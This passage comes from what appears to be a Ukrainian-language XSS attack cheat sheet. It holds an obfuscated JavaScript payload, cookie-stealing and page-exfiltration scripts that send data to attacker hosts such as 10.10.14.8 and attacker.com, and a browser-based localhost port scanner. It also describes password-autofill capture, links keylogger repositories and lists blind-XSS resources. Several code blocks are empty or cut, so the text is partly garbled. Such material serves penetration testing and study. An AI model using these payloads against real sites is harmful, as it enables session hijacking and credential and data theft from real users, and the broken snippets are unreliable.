(゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## Загальні вразливості XSS ### Кілька вразливостей в 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Отримання куків ```javascript /?c="+document.cookie> ``` {% hint style="info" %} Ви **не зможете отримати доступ до куки з JavaScript**, якщо встановлено прапорець HTTPOnly в куці. Але ось [декілька способів обійти цей захист](../hacking-with-cookies/#httponly), якщо вам пощастить. {% endhint %} ### Вкрасти вміст сторінки ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Знайдення внутрішніх IP-адрес ```html ``` ### Сканер портів (отримання) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Сканер портів (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Захоплення автоматичного заповнення паролів ```javascript Username:
Password:
``` Коли будь-які дані вводяться в поле пароля, ім'я користувача та пароль надсилаються на сервер зловмисника, навіть якщо клієнт вибрав збережений пароль і нічого не вводить, дані будуть витікати. ### Кейлогер Просто шукаючи на Github, я знайшов кілька різних: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * Ви також можете використовувати metasploit `http_javascript_keylogger` ### Викрадення токенів CSRF ```javascript ``` ### Викрадення повідомлень PostMessage ```markup ``` ### Зловживання службовцями {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Доступ до тіньового DOM {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### Поліглоти {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Сліпі XSS-вразливості Ви також можете використовувати: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >
Click Me For An Awesome Time "> ">